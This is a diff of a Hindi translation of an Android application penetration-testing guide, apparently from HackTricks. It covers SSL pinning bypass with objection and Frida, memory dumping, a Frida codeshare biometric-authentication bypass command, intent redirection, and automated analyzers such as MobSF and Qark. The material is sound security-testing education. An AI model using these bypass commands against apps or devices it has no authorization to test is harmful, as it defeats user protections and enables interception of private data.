प्रमाणपत्र की अखंडता की जांच की जानी चाहिए। यह महत्वपूर्ण है क्योंकि असुरक्षित TLS कॉन्फ़िगरेशन और असुरक्षित चैनलों के माध्यम से संवेदनशील डेटा का संचरण महत्वपूर्ण जोखिम पैदा कर सकता है। सर्वर प्रमाणपत्रों को सत्यापित करने और कमजोरियों को संबोधित करने के लिए विस्तृत चरणों के लिए, [**यह संसाधन**](https://manifestsecurity.com/android-application-security-part-10/) व्यापक मार्गदर्शन प्रदान करता है। #### SSL पिनिंग @@ -442,28 +412,28 @@ HTTP ट्रैफ़िक का निरीक्षण करने क जब SSL पिनिंग लागू होती है, तो HTTPS ट्रैफ़िक का निरीक्षण करने के लिए इसे बायपास करना आवश्यक हो जाता है। इस उद्देश्य के लिए विभिन्न विधियाँ उपलब्ध हैं: - स्वचालित रूप से **संशोधित करें** **apk** को **SSL पिनिंग बायपास** करने के लिए [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) के साथ। इस विकल्प का सबसे बड़ा लाभ यह है कि आपको SSL पिनिंग बायपास करने के लिए रूट की आवश्यकता नहीं होगी, लेकिन आपको एप्लिकेशन को हटाना और नए को फिर से स्थापित करना होगा, और यह हमेशा काम नहीं करेगा। -- आप **Frida** का उपयोग कर सकते हैं (नीचे चर्चा की गई) इस सुरक्षा को बायपास करने के लिए। यहाँ Burp+Frida+Genymotion का उपयोग करने के लिए एक गाइड है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- आप **स्वचालित रूप से SSL पिनिंग बायपास** करने का प्रयास कर सकते हैं [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- आप **MobSF डायनामिक एनालिसिस** का उपयोग करके भी **स्वचालित रूप से SSL पिनिंग बायपास** करने का प्रयास कर सकते हैं (नीचे समझाया गया) -- यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने** का प्रयास कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- आप इस सुरक्षा को बायपास करने के लिए **Frida** का उपयोग कर सकते हैं (नीचे चर्चा की गई)। यहाँ Burp+Frida+Genymotion का उपयोग करने के लिए एक गाइड है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- आप **objection** का उपयोग करके **स्वचालित रूप से SSL पिनिंग बायपास** करने की कोशिश कर सकते हैं:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- आप **MobSF डायनामिक एनालिसिस** का उपयोग करके **स्वचालित रूप से SSL पिनिंग बायपास** करने की कोशिश कर सकते हैं (नीचे समझाया गया) +- यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने** की कोशिश कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### सामान्य वेब कमजोरियों की खोज -यह भी महत्वपूर्ण है कि आप एप्लिकेशन के भीतर सामान्य वेब कमजोरियों की खोज करें। इन कमजोरियों की पहचान और शमन के बारे में विस्तृत जानकारी इस सारांश के दायरे से परे है लेकिन इसे अन्यत्र व्यापक रूप से कवर किया गया है। +यह भी महत्वपूर्ण है कि आप एप्लिकेशन के भीतर सामान्य वेब कमजोरियों की खोज करें। इन कमजोरियों की पहचान और शमन के लिए विस्तृत जानकारी इस सारांश के दायरे से परे है लेकिन इसे अन्यत्र व्यापक रूप से कवर किया गया है। ### Frida [Frida](https://www.frida.re) डेवलपर्स, रिवर्स-इंजीनियर्स और सुरक्षा शोधकर्ताओं के लिए एक डायनामिक इंस्ट्रुमेंटेशन टूलकिट है।\ -**आप चल रहे एप्लिकेशन तक पहुंच सकते हैं और रन टाइम पर विधियों को हुक कर सकते हैं ताकि व्यवहार को बदल सकें, मान बदल सकें, मान निकाल सकें, विभिन्न कोड चला सकें...**\ +**आप चल रहे एप्लिकेशन तक पहुँच सकते हैं और रन टाइम पर विधियों को हुक कर सकते हैं ताकि व्यवहार को बदल सकें, मान बदल सकें, मान निकाल सकें, विभिन्न कोड चला सकें...**\ यदि आप Android एप्लिकेशनों का परीक्षण करना चाहते हैं, तो आपको Frida का उपयोग करना सीखना होगा। - Frida का उपयोग कैसे करें: [**Frida ट्यूटोरियल**](frida-tutorial/) - Frida के साथ क्रियाओं के लिए कुछ "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Ojection Frida के उपयोग को स्वचालित करने के लिए शानदार है: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - आप यहाँ कुछ शानदार Frida स्क्रिप्ट्स पा सकते हैं: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- एंटी-डिबगिंग / एंटी-Frida तंत्रों को बायपास करने का प्रयास करें Frida को लोड करके जैसा कि [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में संकेतित किया गया है (उपकरण [linjector](https://github.com/erfur/linjector-rs)) +- एंटी-डिबगिंग / एंटी-Frida तंत्रों को बायपास करने के लिए Frida को लोड करने की कोशिश करें जैसा कि [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में संकेतित है (उपकरण [linjector](https://github.com/erfur/linjector-rs)) -### **मेमोरी डंप - Fridump** +### **Dump Memory - Fridump** जांचें कि क्या एप्लिकेशन संवेदनशील जानकारी को मेमोरी में संग्रहीत कर रहा है जिसे इसे संग्रहीत नहीं करना चाहिए जैसे पासवर्ड या म्नेमोनिक्स। @@ -490,15 +460,15 @@ Keystore के अंदर डेटा तक पहुँचने के ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` -### **फिंगरप्रिंट/बायोमेट्रिक्स बायपास** +### **फिंगरप्रिंट/बायोमेट्रिक्स बाईपास** -निम्नलिखित Frida स्क्रिप्ट का उपयोग करके यह संभव हो सकता है कि **फिंगरप्रिंट प्रमाणीकरण** को बायपास किया जा सके जो Android अनुप्रयोगों द्वारा **कुछ संवेदनशील क्षेत्रों की सुरक्षा** के लिए किया जा रहा है: +निम्नलिखित Frida स्क्रिप्ट का उपयोग करके यह संभव हो सकता है कि **फिंगरप्रिंट प्रमाणीकरण** को बाईपास किया जा सके जो Android अनुप्रयोगों द्वारा **कुछ संवेदनशील क्षेत्रों की सुरक्षा** के लिए किया जा रहा है: ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **पृष्ठभूमि छवियाँ** -जब आप एक एप्लिकेशन को पृष्ठभूमि में रखते हैं, तो Android **एप्लिकेशन का एक स्नैपशॉट** संग्रहीत करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाता है, तो यह एप्लिकेशन से पहले छवि लोड करना शुरू कर देता है, जिससे ऐसा लगता है कि एप्लिकेशन तेजी से लोड हुआ। +जब आप एक एप्लिकेशन को पृष्ठभूमि में रखते हैं, तो Android **एप्लिकेशन का स्नैपशॉट** संग्रहीत करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाए, तो यह एप्लिकेशन से पहले छवि लोड करना शुरू कर दे, जिससे ऐसा लगता है कि एप्लिकेशन तेजी से लोड हुआ। हालांकि, यदि इस स्नैपशॉट में **संवेदनशील जानकारी** होती है, तो स्नैपशॉट तक पहुँच रखने वाला कोई व्यक्ति उस जानकारी को **चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए आपको रूट की आवश्यकता है)। @@ -516,7 +486,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); डेवलपर्स अक्सर प्रॉक्सी घटक जैसे गतिविधियाँ, सेवाएँ, और प्रसारण रिसीवर बनाते हैं जो इन Intents को संभालते हैं और उन्हें `startActivity(...)` या `sendBroadcast(...)` जैसे तरीकों में पास करते हैं, जो जोखिम भरा हो सकता है। -खतरा इस बात में है कि हमलावरों को गैर-निर्यातित ऐप घटकों को ट्रिगर करने या संवेदनशील सामग्री प्रदाताओं तक पहुँचने की अनुमति दी जाती है इन Intents को गलत दिशा में भेजकर। एक उल्लेखनीय उदाहरण `WebView` घटक है जो URLs को `Intent` वस्तुओं में `Intent.parseUri(...)` के माध्यम से परिवर्तित करता है और फिर उन्हें निष्पादित करता है, जो संभावित रूप से दुर्भावनापूर्ण Intent इंजेक्शन की ओर ले जा सकता है। +खतरा इस बात में है कि हमलावरों को गैर-निर्यातित ऐप घटकों को ट्रिगर करने या संवेदनशील सामग्री प्रदाताओं तक पहुँचने की अनुमति दी जाए, इन Intents को गलत दिशा में भेजकर। एक उल्लेखनीय उदाहरण `WebView` घटक है जो URLs को `Intent` वस्तुओं में `Intent.parseUri(...)` के माध्यम से परिवर्तित करता है और फिर उन्हें निष्पादित करता है, जो संभावित रूप से दुर्भावनापूर्ण Intent इंजेक्शन की ओर ले जा सकता है। ### Essential Takeaways @@ -530,28 +500,13 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); संभवतः आप वेब से इस प्रकार की कमजोरियों के बारे में जानते हैं। आपको Android एप्लिकेशन में इन कमजोरियों के प्रति विशेष रूप से सतर्क रहना चाहिए: - **SQL Injection:** गतिशील प्रश्नों या सामग्री-प्रदाताओं के साथ काम करते समय सुनिश्चित करें कि आप पैरामीटरयुक्त प्रश्नों का उपयोग कर रहे हैं। -- **JavaScript Injection (XSS):** सुनिश्चित करें कि किसी भी WebViews के लिए JavaScript और प्लगइन समर्थन बंद है (डिफ़ॉल्ट रूप से बंद)। [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** WebViews को फ़ाइल प्रणाली तक पहुँच को बंद करना चाहिए (डिफ़ॉल्ट रूप से सक्षम) - `(webview.getSettings().setAllowFileAccess(false);)`। [More info here](webview-attacks.md#javascript-enabled). +- **JavaScript Injection (XSS):** सुनिश्चित करें कि किसी भी WebViews के लिए JavaScript और प्लगइन समर्थन अक्षम है (डिफ़ॉल्ट रूप से अक्षम)। [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** WebViews को फ़ाइल प्रणाली तक पहुँच अक्षम होनी चाहिए (डिफ़ॉल्ट रूप से सक्षम) - `(webview.getSettings().setAllowFileAccess(false);)`। [More info here](webview-attacks.md#javascript-enabled). - **Eternal cookies**: कई मामलों में जब Android एप्लिकेशन सत्र समाप्त करता है, तो कुकी को रद्द नहीं किया जाता है या इसे डिस्क पर भी सहेजा जा सकता है। - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags) --- -
- -अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों! - -**Hacking Insights**\ -हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाले सामग्री के साथ संलग्न हों - -**Real-Time Hack News**\ -वास्तविक समय की समाचार और अंतर्दृष्टि के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें - -**Latest Announcements**\ -नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) और आज शीर्ष हैकर्स के साथ सहयोग करना शुरू करें! - ## Automatic Analysis ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) @@ -560,7 +515,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ![](<../../images/image (866).png>) -**Vulnerability assessment of the application** एक अच्छे वेब-आधारित फ्रंटेंड का उपयोग करके। आप गतिशील विश्लेषण भी कर सकते हैं (लेकिन आपको वातावरण तैयार करने की आवश्यकता है)। +**ऐप्लिकेशन का कमजोरियों का आकलन** एक अच्छे वेब-आधारित फ्रंटेंड का उपयोग करके। आप गतिशील विश्लेषण भी कर सकते हैं (लेकिन आपको वातावरण तैयार करने की आवश्यकता है)। ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest @@ -568,7 +523,7 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ध्यान दें कि MobSF **Android**(apk)**, IOS**(ipa) **और Windows**(apx) अनुप्रयोगों का विश्लेषण कर सकता है (_Windows अनुप्रयोगों का विश्लेषण Windows होस्ट में स्थापित MobSF से किया जाना चाहिए_)।\ इसके अलावा, यदि आप एक **ZIP** फ़ाइल बनाते हैं जिसमें एक **Android** या **IOS** ऐप का स्रोत कोड होता है (अनुप्रयोग के रूट फ़ोल्डर पर जाएं, सब कुछ चुनें और एक ZIP फ़ाइल बनाएं), तो यह इसका विश्लेषण भी कर सकेगा। -MobSF आपको **diff/Compare** विश्लेषण करने और **VirusTotal** को एकीकृत करने की अनुमति भी देता है (आपको _MobSF/settings.py_ में अपना API कुंजी सेट करने की आवश्यकता होगी और इसे सक्षम करना होगा: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`)। आप `VT_UPLOAD` को `False` पर भी सेट कर सकते हैं, तब **hash** फ़ाइल के बजाय **upload** किया जाएगा। +MobSF आपको **diff/Compare** विश्लेषण करने और **VirusTotal** को एकीकृत करने की अनुमति भी देता है (आपको _MobSF/settings.py_ में अपनी API कुंजी सेट करने की आवश्यकता होगी और इसे सक्षम करना होगा: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`)। आप `VT_UPLOAD` को `False` पर भी सेट कर सकते हैं, तब **hash** फ़ाइल के बजाय **upload** किया जाएगा। ### MobSF के साथ सहायक गतिशील विश्लेषण @@ -583,11 +538,11 @@ Android **संस्करण > 5** से, यह **स्वचालित **Frida** -डिफ़ॉल्ट रूप से, यह **SSL पिनिंग**, **root detection** और **debugger detection** को **बायपास** करने और **दिलचस्प APIs** की निगरानी करने के लिए कुछ Frida स्क्रिप्ट का भी उपयोग करेगा।\ +डिफ़ॉल्ट रूप से, यह **SSL पिनिंग**, **root detection** और **debugger detection** को **बायपास** करने और **दिलचस्प APIs** की निगरानी करने के लिए कुछ Frida स्क्रिप्ट्स का भी उपयोग करेगा।\ MobSF **निर्यातित गतिविधियों** को **invoke** कर सकता है, उनके **स्क्रीनशॉट** ले सकता है और उन्हें रिपोर्ट के लिए **सहेज** सकता है। -गतिशील परीक्षण **शुरू** करने के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देखने के लिए "**Frida Live Logs**" पर दबाएं और सभी हुक किए गए तरीकों, पास किए गए तर्कों और लौटाए गए मानों के आवाहनों को देखने के लिए "**Live API Monitor**" पर दबाएं (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\ -MobSF आपको अपनी **Frida स्क्रिप्ट** लोड करने की भी अनुमति देता है (अपने शुक्रवार स्क्रिप्ट के परिणाम MobSF को भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)। +गतिशील परीक्षण **शुरू करने** के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। **Frida Live Logs** पर दबाएं ताकि Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देख सकें और "**Live API Monitor**" पर दबाएं ताकि सभी हुक किए गए तरीकों, पारित तर्कों और लौटाए गए मानों के आवाहनों को देख सकें (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\ +MobSF आपको अपनी **Frida स्क्रिप्ट** लोड करने की अनुमति भी देता है (अपने शुक्रवार स्क्रिप्ट के परिणाम MobSF को भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)। ![](<../../images/image (419).png>) @@ -595,7 +550,7 @@ MobSF आपको अपनी **Frida स्क्रिप्ट** लोड - **लोड की गई कक्षाओं की गणना करें**: यह सभी लोड की गई कक्षाओं को प्रिंट करेगा - **स्ट्रिंग कैप्चर करें**: यह अनुप्रयोग का उपयोग करते समय सभी कैप्चर की गई स्ट्रिंग्स को प्रिंट करेगा (बहुत शोर) -- **स्ट्रिंग तुलना कैप्चर करें**: यह बहुत उपयोगी हो सकता है। यह **2 स्ट्रिंग्स को दिखाएगा जो तुलना की जा रही हैं** और यदि परिणाम सत्य या असत्य था। +- **स्ट्रिंग तुलना कैप्चर करें**: यह बहुत उपयोगी हो सकता है। यह **दो स्ट्रिंग्स को दिखाएगा जो तुलना की जा रही हैं** और यदि परिणाम सत्य या असत्य था। - **कक्षा विधियों की गणना करें**: कक्षा का नाम डालें (जैसे "java.io.File") और यह कक्षा की सभी विधियों को प्रिंट करेगा। - **कक्षा पैटर्न खोजें**: पैटर्न द्वारा कक्षाओं की खोज करें - **कक्षा विधियों को ट्रेस करें**: **पूरी कक्षा को ट्रेस करें** (कक्षा की सभी विधियों के इनपुट और आउटपुट देखें)। याद रखें कि डिफ़ॉल्ट रूप से MobSF कई दिलचस्प Android API विधियों को ट्रेस करता है। @@ -615,7 +570,7 @@ receivers ``` **HTTP उपकरण** -जब http ट्रैफ़िक कैप्चर किया जाता है, तो आप "**HTTP(S) ट्रैफ़िक**" के नीचे कैप्चर किए गए ट्रैफ़िक का एक खराब दृश्य देख सकते हैं या "**Start HTTPTools**" हरे बटन में एक बेहतर दृश्य देख सकते हैं। दूसरे विकल्प से, आप **कैप्चर किए गए अनुरोधों** को **प्रॉक्सी** जैसे Burp या Owasp ZAP पर **भेज** सकते हैं।\ +जब http ट्रैफ़िक कैप्चर किया जाता है, तो आप "**HTTP(S) ट्रैफ़िक**" नीचे कैप्चर किए गए ट्रैफ़िक का एक खराब दृश्य देख सकते हैं या "**Start HTTPTools**" हरे बटन में एक बेहतर दृश्य देख सकते हैं। दूसरे विकल्प से, आप **कैप्चर किए गए अनुरोधों** को **प्रॉक्सी** जैसे Burp या Owasp ZAP पर **भेज** सकते हैं।\ इसके लिए, _Burp चालू करें -->_ _Intercept बंद करें --> MobSB HTTPTools में अनुरोध का चयन करें_ --> "**Send to Fuzzer**" दबाएं --> _प्रॉक्सी पता चुनें_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))। एक बार जब आप MobSF के साथ गतिशील विश्लेषण समाप्त कर लेते हैं, तो आप "**Start Web API Fuzzer**" पर दबा सकते हैं ताकि **http अनुरोधों को फज़** किया जा सके और कमजोरियों की तलाश की जा सके। @@ -630,17 +585,17 @@ receivers ### Inspeckage के साथ सहायक गतिशील विश्लेषण आप [**Inspeckage**](https://github.com/ac-pm/Inspeckage) से उपकरण प्राप्त कर सकते हैं।\ -यह उपकरण कुछ **हुक्स** का उपयोग करेगा ताकि आपको पता चल सके कि **ऐप्लिकेशन में क्या हो रहा है** जब आप **गतिशील विश्लेषण** करते हैं। +यह उपकरण कुछ **हुक्स** का उपयोग करेगा ताकि आपको पता चल सके **क्या हो रहा है आवेदन में** जब आप **गतिशील विश्लेषण** करते हैं। ### [Yaazhini](https://www.vegabird.com/yaazhini/) -यह **GUI के साथ स्थिर विश्लेषण करने के लिए एक शानदार उपकरण है** +यह एक **ग्रेट टूल है GUI के साथ स्थिर विश्लेषण करने के लिए** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -यह उपकरण कई **सुरक्षा संबंधित Android एप्लिकेशन कमजोरियों** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **स्रोत कोड** में हो या **पैक किए गए APKs** में। यह उपकरण कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण करने के लिए एक "Proof-of-Concept" तैनात करने योग्य APK और **ADB कमांड** बनाने में भी **सक्षम** है। Drozer की तरह, परीक्षण उपकरण को रूट करने की आवश्यकता नहीं है। +यह उपकरण कई **सुरक्षा संबंधित Android अनुप्रयोग कमजोरियों** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **स्रोत कोड** में हो या **पैक किए गए APKs** में। यह उपकरण **"Proof-of-Concept" डिप्लॉय करने योग्य APK** और **ADB कमांड** बनाने में भी **सक्षम है**, ताकि कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण किया जा सके। Drozer की तरह, परीक्षण उपकरण को रूट करने की आवश्यकता नहीं है। ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -702,28 +657,28 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** एक **M**ोबाइल **A**प्लिकेशन **R**िवर्स इंजीनियरिंग और **A**नालिसिस फ्रेमवर्क है। यह एक उपकरण है जो सामान्यतः उपयोग किए जाने वाले मोबाइल एप्लिकेशन रिवर्स इंजीनियरिंग और विश्लेषण उपकरणों को एक साथ लाता है, ताकि OWASP मोबाइल सुरक्षा खतरों के खिलाफ मोबाइल एप्लिकेशनों का परीक्षण करने में सहायता मिल सके। इसका उद्देश्य इस कार्य को मोबाइल एप्लिकेशन डेवलपर्स और सुरक्षा पेशेवरों के लिए आसान और मित्रवत बनाना है। +**MARA** एक **M**obile **A**pplication **R**everse engineering और **A**nalysis Framework है। यह एक उपकरण है जो सामान्यतः उपयोग किए जाने वाले मोबाइल एप्लिकेशन रिवर्स इंजीनियरिंग और विश्लेषण उपकरणों को एक साथ लाता है, ताकि मोबाइल एप्लिकेशनों का परीक्षण OWASP मोबाइल सुरक्षा खतरों के खिलाफ किया जा सके। इसका उद्देश्य इस कार्य को मोबाइल एप्लिकेशन डेवलपर्स और सुरक्षा पेशेवरों के लिए आसान और मित्रवत बनाना है। यह सक्षम है: - विभिन्न उपकरणों का उपयोग करके Java और Smali कोड निकालना -- [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) का उपयोग करके APKs का विश्लेषण करना +- APKs का विश्लेषण करना: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) का उपयोग करके - regexps का उपयोग करके APK से निजी जानकारी निकालना। -- मैनिफेस्ट का विश्लेषण करना। -- [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) और [whatweb](https://github.com/urbanadventurer/WhatWeb) का उपयोग करके पाए गए डोमेन का विश्लेषण करना +- Manifest का विश्लेषण करना। +- पाए गए डोमेन का विश्लेषण करना: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) और [whatweb](https://github.com/urbanadventurer/WhatWeb) का उपयोग करके - [apk-deguard.com](http://www.apk-deguard.com) के माध्यम से APK को डिओबफस्केट करना ### Koodous मैलवेयर का पता लगाने के लिए उपयोगी: [https://koodous.com/](https://koodous.com) -## कोड को ओबफस्केटिंग/डिओबफस्केटिंग करना +## Obfuscating/Deobfuscating code -ध्यान दें कि जिस सेवा और कॉन्फ़िगरेशन का आप उपयोग करते हैं, उसके आधार पर कोड को ओबफस्केट करने के लिए। रहस्य ओबफस्केटेड हो सकते हैं या नहीं। +ध्यान दें कि आप जिस सेवा और कॉन्फ़िगरेशन का उपयोग करते हैं, उसके आधार पर कोड को ओबफस्केट करने के लिए। रहस्य ओबफस्केटेड हो सकते हैं या नहीं। ### [ProGuard]() -[विकिपीडिया](): **ProGuard** एक ओपन-सोर्स कमांड-लाइन उपकरण है जो Java कोड को संकुचित, अनुकूलित और ओबफस्केट करता है। यह बाइटकोड को अनुकूलित करने के साथ-साथ अप्रयुक्त निर्देशों का पता लगाने और उन्हें हटाने में सक्षम है। ProGuard मुफ्त सॉफ़्टवेयर है और इसे GNU जनरल पब्लिक लाइसेंस, संस्करण 2 के तहत वितरित किया जाता है। +[Wikipedia](): **ProGuard** एक ओपन-सोर्स कमांड-लाइन उपकरण है जो Java कोड को संकुचित, अनुकूलित और ओबफस्केट करता है। यह बाइटकोड को अनुकूलित करने के साथ-साथ अप्रयुक्त निर्देशों का पता लगाने और उन्हें हटाने में सक्षम है। ProGuard मुफ्त सॉफ़्टवेयर है और इसे GNU जनरल पब्लिक लाइसेंस, संस्करण 2 के तहत वितरित किया जाता है। ProGuard Android SDK का एक हिस्सा के रूप में वितरित किया जाता है और रिलीज़ मोड में एप्लिकेशन बनाने पर चलता है। @@ -735,35 +690,39 @@ APK को डिओबफस्केट करने के लिए चर - एक संसाधन को InputStream के रूप में लोड करें; - इसे डिक्रिप्ट करने के लिए FilterInputStream से विरासत में मिली एक कक्षा को परिणाम दें; -- एक रिवर्सर के समय को बर्बाद करने के लिए कुछ बेकार ओबफस्केशन करें; +- एक रिवर्सर से कुछ मिनटों का समय बर्बाद करने के लिए कुछ बेकार ओबफस्केशन करें; - DEX फ़ाइल प्राप्त करने के लिए डिक्रिप्टेड परिणाम को ZipInputStream में दें; -- अंततः `loadDex` विधि का उपयोग करके परिणामस्वरूप DEX को एक संसाधन के रूप में लोड करें। +- अंततः `loadDex` विधि का उपयोग करके परिणामस्वरूप DEX को एक Resource के रूप में लोड करें। ### [DeGuard](http://apk-deguard.com) **DeGuard Android ओबफस्केशन उपकरणों द्वारा किए गए ओबफस्केशन की प्रक्रिया को उलटता है। यह कोड निरीक्षण और पुस्तकालयों की भविष्यवाणी सहित कई सुरक्षा विश्लेषणों को सक्षम बनाता है।** -आप उनके प्लेटफॉर्म पर एक ओबफस्केटेड APK अपलोड कर सकते हैं। +आप उनके प्लेटफ़ॉर्म पर एक ओबफस्केटेड APK अपलोड कर सकते हैं। + +### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app) + +यह एक LLM उपकरण है जो Android ऐप्स में किसी भी संभावित सुरक्षा कमजोरियों को खोजने और Android ऐप कोड को डिओबफस्केट करने के लिए है। Google के Gemini सार्वजनिक API का उपयोग करता है। ### [Simplify](https://github.com/CalebFenton/simplify) -यह एक **सामान्य Android डिओबफस्केटर है।** Simplify **वास्तव में एक ऐप को निष्पादित करता है** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन इसे मानव के लिए समझना आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि ओबफस्केशन का विशिष्ट प्रकार क्या है। +यह एक **generic android deobfuscator** है। Simplify **virtually executes an app** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन मानव के लिए समझना आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि उपयोग की जाने वाली ओबफस्केशन का विशिष्ट प्रकार क्या है। ### [APKiD](https://github.com/rednaga/APKiD) APKiD आपको **यह जानकारी देता है कि एक APK कैसे बनाया गया था**। यह कई **कंपाइलर्स**, **पैकर**, **ओबफस्केटर्स**, और अन्य अजीब चीजों की पहचान करता है। यह Android के लिए [_PEiD_](https://www.aldeid.com/wiki/PEiD) है। -### मैनुअल +### Manual -[कस्टम ओबफस्केशन को रिवर्स करने के कुछ ट्रिक्स सीखने के लिए इस ट्यूटोरियल को पढ़ें](manual-deobfuscation.md) +[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) -## प्रयोगशालाएँ +## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) AndroL4b एक Android सुरक्षा वर्चुअल मशीन है जो ubuntu-mate पर आधारित है जिसमें रिवर्स इंजीनियरिंग और मैलवेयर विश्लेषण के लिए विभिन्न सुरक्षा विशेषज्ञों और शोधकर्ताओं से नवीनतम फ्रेमवर्क, ट्यूटोरियल और प्रयोगशालाओं का संग्रह शामिल है। -## संदर्भ +## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) यह संसाधनों की एक शानदार सूची है @@ -772,24 +731,9 